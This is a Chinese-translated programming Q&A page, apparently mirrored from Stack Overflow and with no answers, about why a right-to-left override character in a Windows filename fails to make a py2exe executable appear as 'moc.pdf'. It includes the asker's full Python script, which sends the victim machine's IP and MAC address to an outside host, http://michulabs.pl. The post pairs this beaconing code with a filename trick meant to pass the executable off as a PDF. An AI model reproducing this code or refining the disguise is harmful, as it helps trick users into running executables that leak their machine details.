Windows中的文件名中的RTLO

时间:2017-03-29 17:46:48

标签: python filenames

我在python中编写了简单的脚本

#!/usr/bin/python
from uuid import getnode as get_mac
import socket
import requests
import datetime
#import tkMessageBox as messagebox
#import Tkinter as tk


def main():
    print('start')
    i = datetime.datetime.now()
    headers = {"Content-Type": "text/html; charset=UTF-8"}
    r = requests.post("http://michulabs.pl", data={'name' : 'CI17nH', 'ip' : getIp(), 'mac' : getMac(), 'source' : 'so', 'join_date' : i})
    print(r.status_code, r.reason)
    print(r.text)  # TEXT/HTML
    print(r.status_code, r.reason)  # HTTP

"""
method to read ip from computer
it will be saved in database
"""
def getIp():
    ip = socket.gethostbyname(socket.gethostname())
    print 'ip: ' + str(ip)
    return ip

"""
method to read mac from computer
it will be saved in database
"""
def getMac():
  mac = get_mac()
  print 'mac: ' + str(mac)
  return mac

if __name__ == "__main__":
  main()

然后通过py2exe生成.exe文件,并尝试在filename中使用RTLO字符,该脚本名为moc.pdf而不是pdf.com。实际上它适用于pdf.com,但在使用RTLO字符后却没有。 Windows是否在文件名中阻止了这个技巧,或者我做错了什么? PS Windows没有阻止这个技巧,因为它可以与其他文件一起使用。

0 个答案:

没有答案